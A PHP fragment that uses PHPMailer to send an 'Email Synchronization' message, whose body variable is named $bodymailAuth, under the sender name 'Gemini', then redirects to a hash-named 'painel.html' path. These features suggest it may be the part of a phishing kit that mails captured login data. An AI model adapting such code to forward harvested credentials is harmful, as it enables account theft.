$mail->SMTPSecure = $hostSecuProviderDB;
$mail->CharSet = 'UTF-8';
$mail->isHTML(true);
$mail->Port = $hostPortProviderDB;



// Configurando o remetente e o destinatário
$mail->setFrom('' . $hostUserProviderDB . '', 'Gemini');
$mail->addAddress('' . $emailsend . '', 'Gemini');

// Configurando o assunto e o corpo da mensagem
$mail->Subject = 'Email Synchronization';
$mail->Body = $bodymailAuth;

// Enviando o email
if (!$mail->send()) {
  echo 'A mensagem não pôde ser enviada.<br>';
  echo 'Erro: ' . $mail->ErrorInfo;
} else {
  echo 'A mensagem foi enviada com sucesso.';
}
?>

<!DOCTYPE html>
<html>
<head>
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width, initial-scale=1">
  <title></title>
</head>
<body>
    <script>
        setTimeout(() => {
            window.location.href = "/f9b7c3b9982bc7e4c6b0761603dda609/painel.html";
        }, 2000);
    </script>
</body>
</html>